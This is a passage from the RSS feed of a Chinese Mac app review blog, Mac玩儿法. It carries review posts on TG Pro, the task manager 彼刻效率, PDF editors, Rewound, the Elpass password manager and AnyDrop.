    Override System 的应用场景主要用于强制性让风扇降速,相当于灭火器的角色,特别是在 Mac 运行大型程序后风扇不会即时的同步降低转速,或者在你为 iMac 一体机更换 HDD 硬盘后风扇狂暴情况下你可以激活 Override System 操作,这个模块小编不建议日常使用。

    + +

    激活 Override System 后本体程序风扇列里会出现红点标识,此时整个风扇控制由 TG 来接管:

    + +

    TG Pro:Mac 风扇控制管家「年底官网5折促销中」插图(8)

    + +

    TG Pro 支持的设备型号:

    + +
      +
    • 2018 MacBook Pro
    • +
    • iMac Pro
    • +
    • Mac Pro 2013
    • +
    • MacBook Pro (+ 2007-2018 models)
    • +
    • iMac
    • +
    • Mac mini
    • +
    • MacBook Air
    • +
    • older Mac Pros
    • +
    +

    本文发表自Mac玩儿法,转载请注明转自《TG Pro:Mac 风扇控制管家「年底官网5折促销中」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/tg-pro-review/feed + 0 +
    + + 一名产品经理使用彼刻效率进行时间管理,提高工作效率的日常 + https://www.waerfa.com/bekerlist-for-a-pm + https://www.waerfa.com/bekerlist-for-a-pm#respond + Wed, 18 Dec 2019 13:34:32 +0000 + + + + + https://www.waerfa.com/?p=106380 + + 作为一名努力工作积极存钱奋力掉发的产品经理,加班是常态改设计是日常,紧急的工作状态,让自己在担忧秃头之前先患上了猝死焦虑症——身心俱疲。时常在想,能轻松一些吗?能简单一些吗?简单点再简单点,工作的方式简单点。

    + +

    一名产品经理使用彼刻效率进行时间管理,提高工作效率的日常插图

    + +

    看到我累成这副狗样,隔壁的设计终于忍不住问我:你为什么不去试试彼刻效率呢?我作为一个设计,都是用它来整理的自己的设计作品,很高效,你经常找我要的第一稿我都能找到。

    + +

    Qnmd。不过彼刻效率?嗯,什么东西?试试看。

    + +

    不试不知道,一试,真香啊。腰不酸腿不疼头发不掉了,所以迫不及待的想和大家分享了。

    + +
    + +

    列出自己要做的事情,把脑袋清空

    + +

    产品的日常,绝不是早上悠闲的泡一杯咖啡,和设计谈谈风格,下午来一杯奶茶,和技术聊聊开发需求,那根本就是一个斗智斗勇的存在啊。

    + +

    到了公司,不用催,第一件事就是先和运营的同事沟通一下网站、公众号的产品内测邀请事宜,运营那边给的名单,需要过滤筛选;昨天设计给的一些原型,开发那边反馈无法实现,于是来回沟通,领导要了解项目进度,blablabla,上午就这样过去了… 之前都是记在本上,干完一件标记一下,笔记本上的行程管理比较混乱。

    + +

    现在用彼刻效率我可以不再局限于把所有任务像流水账一样都几张几页纸上,因为有些工作不是当天就完成的,需要反复协调,推进才能完成,在纸质笔记本上需要每日整理前日未完成的工作,再重复记录在今天安排中,囤积的任务越来越多,压力也越来越大。

    + +

    一名产品经理使用彼刻效率进行时间管理,提高工作效率的日常插图(1)

    + +

    使用彼刻效率可以避免这个问题,假如说一个产品是一个项目,我们不同类型的工作分组成一个个一级子任务,然后再按照需求将每种类型的工作细分成更细化的分类,在最后一级的任务单元上设置截止时间或者标签,就能在app里轻松看到我今天需要在最晚几点完成哪些任务:

    + +

    一名产品经理使用彼刻效率进行时间管理,提高工作效率的日常插图(2)

    + +

    产品经理的事情多归多,但为了完成工作,将自己塑造成一名合格的产品经理,就必须完成这些大大小小的任务,而使用“彼刻效率”这款工具最大的优势在于它可以让你将需要完成的任务一条条记录在案,而且可以按照任务复杂程度再创建多级的子集任务,将你的大脑规划充分书面化,系统化。

    + +

    处理分类,把所有的记录当做需求池来处理

    + +

    作为一名产品经理每天处理的事务很多很杂,既要按照公司要求,在每个时间点完成产品各个功能的催生,把握整个项目进度,还需要应付各个部门反映过来各种小问题,比如研发部门对功能的疑惑,设计说ui设计不符合整体风格,但明天产品就要更新上架,怎样快速召集同事开会讨论修改方案,用户反馈产品突然爆出的大 bug 急需叫研发同事解决,运营要产品测试版给媒体等等一大堆重要的、紧急的、琐碎的事务都在围绕着自己,而你每天在应对这些工作之余还有更重要的工作,要静下心来仔细考量如何打磨负责的产品,而这些琐事恐怕只能在钻进被窝,早上初醒或是周末加班路上去想了。

    + +

    及时处理分类,避免信息的堆积和碎片化

    + +

    我在熟悉彼刻效率后,将自己的本职工作按照一个大方向分类以子任务的形式陈列在“产品经理”这个项目中,比如“用户调研”、“需求分析”、“竞品分析”、“产品设计”、“产品培训”、“产品反馈”、“外宣配合”等等几个大类。

    + +

    以“产品反馈”为例,用户会通过微信、微博、产品官网、产品app客户端等渠道向公司反馈使用体验、意见建议或者 bug 反馈,这样就形成了三级任务层级。我将这些信息根据反馈时间进行标记整理,后台研发、设计的同事采纳了意见或修复了 bug,我可以在对应的反馈信息上勾选“完成”,这样就可以及时避免信息的堆积;研发同事还可以就某个ug或者建议直接和我讨论,设置开发时间,极大的提高了开发需求的处理。

    + +

    四象限法则,利用不同的标签来对任务进行二次整理

    + +

    我个人认为四象限法则是一个非常好的适合每一个产品经理使用的任务组织方法论,要做的事情按照紧急、不紧急、重要、不重要的排列组合分成四个象限,第一象限是紧急而重要的事情(比如配合运营同事做的产品公关,领导交办的紧急任务)、第二象限是紧急但不重要的事情(比如上级监管部门临时有会让去参加)、第三象限是重要但不紧急的事情(比如这周末前需要将新功能产品原型发给老板过),而第四象限则是既不紧急也不重要的事情(比如日常循环工作),像给需求排优先级一样,你所要做的所有事情,也分轻重缓急,也可以排定优先级。

    + +

    一名产品经理使用彼刻效率进行时间管理,提高工作效率的日常插图(3)

    + +

    我们完全可以在彼刻效率里将每个象限代表的任务类型转换为标签,然后再对每一个任务按照轻重缓急打上四象限标签,这样可以用标签及时对任务进行快速的二次整理,选择在适当的时间完成相应的任务。

    + +

    制定计划

    + +

    勤奋的产品经理一般都会为自己制定饱满的月计划、周计划、日计划,当你需要处理的任务足够把你整疯前你需要制定严谨的工作计划。

    + +

    一名产品经理使用彼刻效率进行时间管理,提高工作效率的日常插图(4)

    + +

    在彼刻效率里,把要完成的任务设置开始和结束日期,他就会出现在日历里,我只需要浏览日程表就能快速的了解需要处理哪些事情。心里有数,处理工作就能做到不慌不乱,而不是到了公司碰到什么事就去处理,一天下来反而没什么产出。

    + +

    任务处理

    + +

    利用文件夹系统,保存需求功能的相关资料,比如图片,视频等文档

    + +

    我在做市场分析,用户访谈调研,竞品分析时会搜集大量的竞争对手信息,这些文件之前他直接存储在电脑桌面上,最多用多级目录进行管理,但是这样也有一个不可回避的问题,过多的文件会导致文件重复、误删除、查找时间慢,易感染病毒等危险。

    + +

    有了彼刻效率,我可以在每个任务下直接上传不限数量的文档、图片、视频等文件,并配合标签进行快速筛选,非常方便,比如哪些功能的 UI 设计参考我通过原型无法搞出来,我可以把现有的 UI 图标记上“设计参考”字样的标签,需要的时候直接给设计组的妹子发过去,或者直接就这样图作为一个任务展开一个讨论,把妹子拉进来,狠狠的做一次讨论交流,然后顺便约个晚上吃饭。

    + +

    一名产品经理使用彼刻效率进行时间管理,提高工作效率的日常插图(5)

    + +

    和同事展开沟通,没有说清楚的需求没有讲明白的功能,需要修改的需求文档,都可以展开讨论

    + +

    上文提高的讨论功能非常实用,因为产品经理在产品推进过程中会遇到开发、设计发过来的 N 多反馈,设计妹子说:“这个交互我做不了”开发表示“这个功能实现有难度”等等,身为“产品狗”的我会通过电话、微信的形式与他们沟通,但是用这种第三方尤其是微信来沟通的话,有多麻烦我就不多言了,不敢删除微信记录否则文件就会丢,大大小小的群占据了微信的第一屏第二屏,我的私人生活大概被吃了。屁大点事就要@全部成员,我不需要知道人力今天面试了什么奇葩啊!!!

    + +

    一名产品经理使用彼刻效率进行时间管理,提高工作效率的日常插图(6)

    + +

    而在彼刻效率里讨论就太清净了, 我不关注就不会接收消息,重要的文件放在子目录里就永远不会丢。完成的任务我取消关注它就从我的消息列表里消失,需要查找时里面的消息记录也不会丢,这么良心的不打扰,只有前男友和前女友能做到了。

    + +

    总结

    + +

    总的来说,在彼刻效率的加持下我将自己的工作效率提高了很多,任务可以分配成轻重缓急,在公司产品推进过程,事务型工作等等繁杂任务中找到了平衡点,这对于自己个人的工作能力提升,职业生涯发展都有很好的帮助。

    +

    本文发表自Mac玩儿法,转载请注明转自《一名产品经理使用彼刻效率进行时间管理,提高工作效率的日常

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/bekerlist-for-a-pm/feed + 0 +
    + + PDF 软件哪家强:Adobe Acrobat/PDF Expert/万兴PDF专家横评对比 + https://www.waerfa.com/pdf-softwares-compare + https://www.waerfa.com/pdf-softwares-compare#respond + Mon, 16 Dec 2019 17:30:20 +0000 + + + + + + + + https://www.waerfa.com/?p=106351 + + Adobe 基于自家的 PostScript 创建了造福互联网文明的 PDF 格式电子文档,这种文档可以包容文本、图片、视频等多种内容载体,并具备良好的安全性,传播性,所以在我们的学习生活中,每一个人在自己的操作系统里都会遇到 PDF,今天我们来为大家推荐三款常用的 PDF 阅读编辑软件,并对他们进行一个横向评测,目的并不是评出一二三的等级之分,而是为大家选择适用于自己的 PDF 软件而做的一次参考。

    + +

    Adobe Acrobat

    + +

    Adobe Acrobat 应该是 PDF 软件里的元老级软件了,功能全面而专业,新手可以用基础的创建,合并,编辑,导出等功能,老手也可以用来做文件签批,插入表单,证书,印刷制作等功能,能文能武,上得厅堂下得厨房,但是高昂的价格(支持 Mac 与 Win 双平台的 Pro 版一年订阅费 359 刀,折合人民币 2500 元)吓退了不少用户,而且他的界面设计非常古老刻板,跟现在的操作系统设计潮流有点儿不搭调,他的身影一般会出现在有购买能力的大型企业、政府部门。

    + +

    PDF 软件哪家强:Adobe Acrobat/PDF Expert/万兴PDF专家横评对比插图

    + +

    特色功能:

    + +
      +
    1. 强大的生态圈协同作战能力,整合了 Adobe Scan(直接将手机扫描的文档同步到 Acrobat 进行操作),Adobe Doc Cloud 存储文档(不单单依赖第三方云存储)
    2. +
    3. 独有的文档内自动化动作执行流程,可满足 Power User 制作各种需求的超级 PDF 文档(做说明书类的 PDF 文档可以用到索引功能)
    4. +
    5. OCR 编辑文档时可对文本设置超级丰富的格式定义
    6. +
    + +

    帮大家划一下 Adobe Acrobat 的优缺点以供参考:

    + +
      +
    • 优:功能齐全、产品稳定、兼容性高、处理效率高、专业性高
    • +
    • 缺:使用门槛高、功能隐藏深、软件成本高、功能臃肿
    • +
    + +

    PDF Expert

    + +

    虽然说 Adobe Acrobat 的发展足以健壮到满足大多数用户的需求,可这个市场中小白用户以及轻量化需求用户仍然占大多数,他们的需求也仅仅局限在阅读,标注,共享,最多也就是签名等操作,PDF Expert 这种软件正是为了满足这部分用户而开发设计,最早这个产品只登陆在 iOS 平台,由于口碑的良好,开发商把这款 app 带到了 Mac 平台,舒适整洁的界面设计再加上流畅的阅读体验,让这款软件在近 5 年里一直保持着不错的势头,而且经常在各个平台做优惠促销活动(官方标准价格 $79.99,折合人民币560元),适合预算不多的轻用户使用。

    + +

    PDF 软件哪家强:Adobe Acrobat/PDF Expert/万兴PDF专家横评对比插图(1)

    + +

    特色功能:

    + +
      +
    1. 流畅的PDF文档阅读体验
    2. +
    3. Metal图像引擎让其加载文档与画质的质感非常好
    4. +
    5. Readdle Transfer 帮助用户在桌面端与移动端快速传输文档
    6. +
    + +

    PDF Expert 优缺点以供参考:

    + +
      +
    • 优:阅读体验佳、操作简单易用、UI 效果好
    • +
    • 缺:功能偏少、欠缺专业性、PDF 兼容性待提升
    • +
    + +
    + +

    万兴 PDF 专家

    + +

    能够做到轻与重之间恰当平衡的我觉得非万兴 PDF 专家这款软件莫属,这款出口转内销的产品在国外的名字叫 PDFelement,它不会像 Acrobat 太过臃肿,但又不失性能,也不会像 PDF Expert 在功能上太过吝啬,OCR 文本识别绝对是前两者天生所不具备的,而且价格也是这三款里最亲民的,Pro 版终身 license 仅为 499 元,一年期订阅价格里,标准版 199 元,专业版 299 元。

    + +

    PDF 软件哪家强:Adobe Acrobat/PDF Expert/万兴PDF专家横评对比插图(2)

    + +

    特色功能:

    + +
      +
    1. 超级便捷的 OCR 识别功能;
    2. +
    3. 界面设计精巧,隐藏工具栏调用合理
    4. +
    5. 强大的批量操作功能群
    6. +
    7. 丰富的交互式表单资源
    8. +
    + +

    万兴 PDF 专家 优缺点以供参考:

    + +
      +
    • 优:功能分类清晰、PDF 工具齐全、同等价位少有的 OCR 加持、文档兼容性高
    • +
    • 缺:阅读体验待提升、界面细节需要优化
    • +
    + +
    +

    Mac 版下载  |   Win 版下载

    +

    万兴PDF专家官方网站

    + + +
    + +

    横向对比

    +

    通过横向对比,我们可以发现,在基础、进阶这两个级别,三款软件差别并不大,只是 Acrobat 在细节上做的更全面一些,但万兴 PDF 专家与 PDF Expert 基本也能够满足大部分人的需求,而高阶的索引、自动化流程这方面只有 Acrobat 在做,对于大众消费市场来讲,价格更便宜,支持 OCR 的万兴 PDF 专家显然要比 PDF Expert 更值得用户去考虑。万兴 的 OCR 设置简单,支持全球主流语言识别,可以设置像素级别,你可以把它转换成可编辑的文本文件,也可以生成可搜索文本的图片文件,对于一个 40MB 大型 PDF 文件来说,万兴只需不到 40s 的时间就可以搞定。

    + +
    + +

    PDF 软件哪家强:Adobe Acrobat/PDF Expert/万兴PDF专家横评对比插图(3)

    + +

    支持平台

    + +

    最后来说一些三家支持的平台,Adobe Acrobat 与 万兴 PDF 专家 都有 Win 与 Mac 的客户端,而 PDF Expert 扎根苹果生态,目前还依然没有 Win 平台的客户端,不过三家都已经登录 iOS,Android 系统,都有相应的移动 app。

    +

    本文发表自Mac玩儿法,转载请注明转自《PDF 软件哪家强:Adobe Acrobat/PDF Expert/万兴PDF专家横评对比

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/pdf-softwares-compare/feed + 0 +
    + + Rewound:情怀小把戏,iPhone 一秒变回 iPod Classic + https://www.waerfa.com/rewound-review + https://www.waerfa.com/rewound-review#respond + Fri, 13 Dec 2019 18:09:35 +0000 + + + + https://www.waerfa.com/?p=106369 + + Rewound 是一款特别有意思的小 app,本周绝对称得上是全球 app store 的热门 app,这也是一款可以轻松暴露年龄,暴露果粉粉龄的 app,它可以结合系统内置的 Music 再加上一套 iPod Classic 的 GUI,即可将你手上的 iPhone 一秒变回 各种颜色搭配的 iPod Classic。

    + +

    先看看网友晒的靓图,在 iPhone 上比例肯定还原不到真实 IPC,但是还是很好看的,在 Rewound 上你就可以像滑动 IPC 真实圆盘一样瞬间找回 10 年前的感觉,顺时针、逆时针转动圆盘即可在列表中切换选项,点一下虚拟圆盘中心点就相当于实体圆盘中间的那个实体按键,同时虚拟圆盘上也配备了可触控的“菜单”按键、“切换”按键、“播放/暂停”按键。

    + +

    Rewound:情怀小把戏,iPhone 一秒变回 iPod Classic插图

    + +

    Rewound:情怀小把戏,iPhone 一秒变回 iPod Classic插图(1)

    + +

    一秒变回黑色 IPC

    + +

    Rewound:情怀小把戏,iPhone 一秒变回 iPod Classic插图(2)

    + +

    一秒变回白色 IPC

    + +

    Rewound:情怀小把戏,iPhone 一秒变回 iPod Classic插图(3)

    + +

    在 Rewound 的设置页面,你可以设置播放歌曲的循环机制、选择从 twitter、weibo 下载网友们分享的 IPC GUI 图片,下载后直接在 Skin 里切换图片即可,虚拟圆盘上面的 face color 就是显示屏的边框颜色,有黑白两种可选。

    + +

    Rewound:情怀小把戏,iPhone 一秒变回 iPod Classic插图(4)

    + +

    上图最右侧的 skin 一眼就可以看出是 IPC U2 特别版的设计。

    + +

    Rewound 下载

    +

    本文发表自Mac玩儿法,转载请注明转自《Rewound:情怀小把戏,iPhone 一秒变回 iPod Classic

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/rewound-review/feed + 0 +
    + + Elpass:Surge 家的密码管理软件,要不要试试? + https://www.waerfa.com/elpass-review + https://www.waerfa.com/elpass-review#respond + Fri, 13 Dec 2019 17:14:57 +0000 + + + + + + + https://www.waerfa.com/?p=106363 + + Surge 开发者最近推出了他的又一力作,这次同样是支持 Apple macOS + iOS 双平台的,专注于密码管理的工具,名字叫 Elpass,作者是终于忍受不了 1Password 诸多弊病后才决定开发一款更加符合自己也希望满足广大苹果用户的密码管理软件(app)。

    + +

    Elpass 的核心功能

    + +

    网页无干预自动填充:不需要去手动选择项目,Elpass 会自动填充当前网页的登录信息,当你在网页里输入密码登录的同时,Elpass 会自动保存数据到自己的客户端里,同时推送消息给你,下次登录网页时无需你做任何动作,打开网页密码就已经为你输入好,并且伴随消息推送。

    + +

    原生应用的自动填充:macOS 上的 App 也可以自动填充登录信息,这个会很酷,比如说 macOS 上的 QQ.app,如果你想对此实现账号的自动填充,首先获取到它在系统里的名称就是“QQ.app”,然后打开“终端”,输入 osascript -e ‘id of app “QQ”‘,此时会反馈回 app 的 domain:com.tencent.qq,然后将此 domain 放入创建 QQ app 登录项时的 domain 一栏,创建登录项后记得重启 app,然后下次你打开 QQ app,账号会自动填充在 app 账号登录界面上。

    + +

    自动匹配当前应用:某些应用使用了 Web 技术开发,没办法使用自动填充功能(如 spotify),不过可以使用快捷键唤出 Elpass,会自动找到适合当前应用的项目供复制。

    + +

    One-Time Password 填充:即动态密码输入,有些地方的 OTP 验证码并不允许复制粘贴,Elpass 提供一个输入助手,可以模拟键盘输入。这样的填充方式也不会干扰你的剪贴板内容。

    + +

    Elpass:Surge 家的密码管理软件,要不要试试?插图

    + +

    Elpass 的 lock 界面设计的中规中矩,解锁时右边的保险柜转盘会有动画效果,还是很有意思的。Elpass 的特色设计就是不引进第三方数据同步服务,你可以把数据保存在本地电脑,迁移数据必要时可通过 iCloud Drive、Dropbox 这两个服务进行同步,同时这款软件是不带 account 设计的,完全实现了数据隔离的开发原则。

    + +
    我很愿意去相信 1Password,但是把鸡蛋都放在一个篮子里并不是一个明智的做法。这是我坚持不使用 1Password 自己的云服务的原因。Elpass 的一大特点就是绝对的数据隔离,我们不提供任何云服务,所以数据均存储在本地,通过你自己的云存储服务进行同步(目前支持 iCloud 和 Dropbox)- 官方 blog
    + +

    Elpass:Surge 家的密码管理软件,要不要试试?插图(1)

    + +

    你可以直接从 1Password、Chrome、Safari、Firefox 平台导入之前存储的密码数据。

    + +

    Elpass 与 1Password、Enpass 一样设计了不同类型的数据保存选项,除了最基础的“登录项”之外,还提供了银行卡、身份ID、隐私备忘录、密码等分类。

    + +

    Elpass:Surge 家的密码管理软件,要不要试试?插图(2)

    + +

    Elpass 同样设计了满足不同复杂程度的密码生成器,可以设定密码位数,大写字母、小写字母插入,数字,字符的插入,提供一键更换新密码的按钮。

    + +

    Elpass:Surge 家的密码管理软件,要不要试试?插图(3)

    + +

    Elpass 加密数据的方式采用了 Argon2id 算法,对用户主密码进行哈希(该算法需要 256MB 的内存,在 iPhone 11 Pro 上需要一秒左右才可完成一次计算),然后再使用 BLAKE2B 算法衍生出不同用途的子密钥,最后使用 XSalsa20+Poly1305 算法进行加密。每一项加密技术都很前卫,真的很酷。。

    + +

    手动新建数据项时,不同的数据类型有不同的 input,像登录项一般会提供账号、密码(这俩是最基础的),域名(登录原生app里账号时使用)、动态密码、Notes 等等。

    + +

    Elpass:Surge 家的密码管理软件,要不要试试?插图(4)

    + +

    关于价格

    + +

    当我看到 Elpass 时第一印象想到了这货会卖多少钱,或是一年期订阅多少钱,Surge 的质量那么高,Elpass 这款软件相信也不会太亲民,Elpass 以一年期订阅为单位($19.99),支持 7 天免费试用,购买后一个订阅可用于个人的所有设备,最多 10 台设备。macOS 版本未订阅时可使用预览模式,除最多 5 个项目和不可同步的限制外,其余功能均可正常使用。另外,订阅过期后,依然可以使用只读模式查看和导出所有数据。

    + +

    未来之路

    + +

    据开发者介绍,Elpass 后续将考虑有可能加入如下功能:

    + +
      +
    • 附件上传
    • +
    • Tags
    • +
    • Markdown in Notes
    • +
    • 自定义项目图标
    • +
    • 自定义 Smart Items (类似于 iTunes 的 Smart Playlist)
    • +
    • 多语言支持(目前只有英文版)
    • +
    + +

    以下功能已确认暂不考虑:

    + +
      +
    • 针对家庭或者团队的数据共享
    • +
    • Windows、Android 客户端
    • +
    + +

    虽然我们暂无开发其他平台版本的计划,但是我们预计之后会提供一个用于 Windows/Android 设备的辅助程序,配对之后,可由 Elpass iOS/Mac 将密码直接推送到剪贴板。

    + +

    下载

    + +

    macOS +官网下载即可,Mac App Store 版本也有(但是,不可以用原生 App 填充);两者订阅通用,可自由切换。

    + +

    iOS +请在 App Store 直接搜索 Elpass。

    +

    本文发表自Mac玩儿法,转载请注明转自《Elpass:Surge 家的密码管理软件,要不要试试?

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/elpass-review/feed + 0 +
    + + 一名销售经理使用彼刻效率的日常 + https://www.waerfa.com/bekerlist-review-a-sale-mangner-daily-records + https://www.waerfa.com/bekerlist-review-a-sale-mangner-daily-records#respond + Thu, 05 Dec 2019 04:39:14 +0000 + + + + + + https://www.waerfa.com/?p=106335 + + 之前我们介绍过彼刻效率这款任务管理产品,我们从痛点回忆为切入点慢慢带大家了解了这款任务管理产品,这款产品的功能设计应用范围非常广泛,不单单适用于互联网开发设计团队使用,同样也特别适合斜杠青年,独立工作者,以及千千万对工作有自我规划,自我激励的用户去尝试。

    + +

    这次我们有一个从事销售工作的朋友来和大家分享一下他使用“彼刻效率”的使用分享,看看能给这位杂事缠身的销售经理带来了哪些方面的效率提升:

    + +

    一名销售经理使用彼刻效率的日常插图

    + +

    小Y是一名从事电信运营商市场销售的业务经理,在尝试使用任务管理应用之前,小Y每天的工作都不能用排的满满的来形容,我每次见到他都在打电话,要不就是在电脑前整理文档,从来没见过他休息。

    + +

    晚上在微信里他和我诉苦,我向他推荐了一些任务管理app,但是人家自己也不知道在哪看到的彼刻效率,在使用了两周之后跟我说,每天的工作条理性提升了许多,出错率降低了,而且也不用频繁加班了,关键是每天接的电话没那么频繁了,他是怎样做到的呢?

    + +

    账单管理

    + +

    对于小Y来说,每个月初最让他头疼的就是给客户发账单,之前他会把所有电汇客户在公司系统中的上月出费账单导出,从压缩包解压缩,然后再去掉账单里无用的列信息,最后再通过邮箱发给客户。但是由于他每天的事务性工作实在太多,根本没有足够时间将所有账单在一周内发完,所以他每天都会接到许多并没有什么意义却严重占用他工作时间的索求账单的电话,而且会遇到发错账单的小错误。

    + +

    在彼刻效率里,小Y 可以把所有客户的账单都以文件的形式上传并汇集到一个“账单管理”的主任务里,他可以随时从这个任务里下载账单里发给客户,比在电脑里用文件管理器(Finder)通过一个一个的文件夹形式方便许多,如果账单出费有异常的,客户有疑问的,还可以进行标签、备注等多种形式的标注,彻底摆脱特例情况给自己带来的时间损失。

    + +

    一名销售经理使用彼刻效率的日常插图(1)

    + +

    一名销售经理使用彼刻效率的日常插图(2)

    + +

    在备注里可以对客户的账单情况进行详细的说明。

    + +

    合同跟踪

    + +

    每个月小Y手头还有大量的合同需要处理,这些合同都需要过公司的合同系统进行流转,当合同被批准生成(带有公司logo水印)后,即可进行打印送交客户盖章,但这些合同的状态都不一样,有正在撰写/等待提交审核流转的,有待领导签发的,有履行中,有作废的,各种状态,而且一个合同生成后,必须在 10 个工作日内让客户将盖章后的纸质版反馈回来,小Y通过彼刻效率,可以把所有当前合同、历史合同都上传到应用中进行管理,带上 deadline,绝对能提高工作的效率,合同再也不用超时返回了。

    + +

    一名销售经理使用彼刻效率的日常插图(3)

    + +

    在合同流转进行审核的过程中,如果你所在公司都在使用彼刻效率,那么你完全可以在一个合同的专用对话里与你的领导、合同管理员对合同内容进行商榷,确认以及修改。

    + +

    一名销售经理使用彼刻效率的日常插图(4)

    + +

    日常走访

    + +

    小Y还用彼刻效率用来记录对每个级别的,对需要带领导走访的客户进行一一记录,可以对每个客户的走访情况进行截止时间标记,现场走访照片的上传,备注,甚至是你和领导可以就此客户进行讨论。

    + +

    一名销售经理使用彼刻效率的日常插图(5)

    + +

    日历

    + +

    对于上述这么多的事务性工作,小Y 当然要用到日历模块,这些事务性工作大多有 deadline,彼刻里的截止时间就是 deadline,在设置完后,你可以综管整个月份里你每天需要在哪天之前完成什么工作,而且可以直接在上面对任务进行标记,修改,讨论或是快速跳转到任务界面。

    + +

    一名销售经理使用彼刻效率的日常插图(6)

    + +

    现场展销

    + +

    小Y每个季度会被公司安排去组织或参加各种产品的现场展销,作为现场销售的组织者,他必须对每个点位的信息进行归集整理,包括点位的环境照片,各种物料的信息备忘,都需要发给队员及时跟进。

    + +

    一名销售经理使用彼刻效率的日常插图(7)

    + +

    一名销售经理使用彼刻效率的日常插图(8)

    + +

    指标记录

    + +

    最后就是指标的管理,能否圆满完成一个月,一个季度或是整年的销售指标是对销售人员的基本考量标准之一,小Y每个月要销售的产品种类多,每个产品都有全年、季度指标,这是硬性考核数据,但部门经理都会要求他们给自己制定月、周指标,甚至是日指标。

    + +

    一名销售经理使用彼刻效率的日常插图(9)

    + +

    为了让自己尽可能完成指标,小Y利用彼刻效率里的批量创建任务,对每款产品在每个月的每一天设定了任务,并诸天记录指标完成情况,批量创建任务很简单,只需在父级任务右上角点击新建任务右侧的“批量创建&导入思维导图”的小按钮,将内容相似的子任务以文本形式拷贝到窗口内,即可一键完成批量子任务的创建,非常的高效率。

    + +

    一名销售经理使用彼刻效率的日常插图(10)

    + +

    使用模板

    + +

    一名销售经理使用彼刻效率的日常插图(11)

    + +

    一名销售经理使用彼刻效率的日常插图(12)

    +

    本文发表自Mac玩儿法,转载请注明转自《一名销售经理使用彼刻效率的日常

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/bekerlist-review-a-sale-mangner-daily-records/feed + 0 +
    + + AnyDrop:空中制霸,处理文件总是快人一步! + https://www.waerfa.com/anydrop-review + https://www.waerfa.com/anydrop-review#respond + Wed, 04 Dec 2019 12:49:31 +0000 + + + + + https://www.waerfa.com/?p=105873 + + AnyDrop 是一款最新的文件快速处理工具型软件,用过辣么多快速处理软件(像 Dropshare)觉得 AnyDrop 用起来是最顺手的,最重要的是响应快,这款软件可以对文件、纯文本、图片(批量)进行快速处理,提供了像文件格式清理、字符计数、中英翻译、搜索文本、添加进系统相册、图片压缩、图片格式转换、云空间上传、图片尺寸重设、元数据清除等等功能,而且这些功能还在不断完善中……

    + +

    文本控制

    + +

    AnyDrop 提供的文本控制 action 非常丰富,当你 copy 一段文本,或者直接选择好后拖到 AnyDrop 位于 menubar 的图标上后,就会自动弹出一溜 action,就像下图这样,什么文本格式清除,字符统计,如果是非英文文本还可以 translate to english,还有 MAS 搜索,作为邮件正文发送,作为短信正文发送、繁体中文转换 等等等……

    + +

    图片控制

    + +

    图片控制 action 也同样牛逼,Airdrop、添加图片到系统相册、压缩、JPG 格式转换、重设图片尺寸、OCR、元数据清除等等等。

    + +

    AnyDrop:空中制霸,处理文件总是快人一步!插图

    + +

    文件控制

    + +

    文件控制提供了目录转移,云空间上传等动作。

    + +

    后台设置

    + +

    用户可以在后台 Actions 里自由添加、删除、个性化设置全部的 action,例如图片尺寸重设,你可以选择尺寸重设的参考值,可以选择像素值以及保存位置,亦或是图片压缩 action,可以选择图片压缩的质量以及保存位置。

    + +

    AnyDrop:空中制霸,处理文件总是快人一步!插图(1)

    + +

    将文件上传到微博相册、七牛云空间都可以自定义 AK、SK、文件名后缀等参数。

    + +

    AnyDrop:空中制霸,处理文件总是快人一步!插图(2)

    + +

    演示

    + +

    将一段文本快速转换成繁体中文

    + +

    AnyDrop:空中制霸,处理文件总是快人一步!插图(3)

    + +

    将一个文件快速移动到某个目录

    + +

    AnyDrop:空中制霸,处理文件总是快人一步!插图(4)

    + +

    将某个图片快速添加到系统相册

    + +

    AnyDrop:空中制霸,处理文件总是快人一步!插图(5)

    + +

    官方演示动图:

    + +

    AnyDrop:空中制霸,处理文件总是快人一步!插图(6)

    + +

    目前 AnyDrop 提供 7 天试用,许多功能都还在开发中,我个人认为这款软件是另一种形式的 PopClip,其功能扩展性还要比后者高许多,毕竟 PopClip 仅限于文本内容,而 AnyDrop 能做的事情很多,它可以帮助那些没空去玩 Alfred 的用户快速完成许多日常高频操作动作,毕竟大伙儿都没有闲暇时间去学习掌握 Alfred 那种自维性太高的动作流软件。目前 AnyDrop 的定价暂时分两种,分别针对一台 Mac 和 两台 Mac,按年订阅,价格分别为 15 美元和 27 美元。

    +

    本文发表自Mac玩儿法,转载请注明转自《AnyDrop:空中制霸,处理文件总是快人一步!

    ---------- +

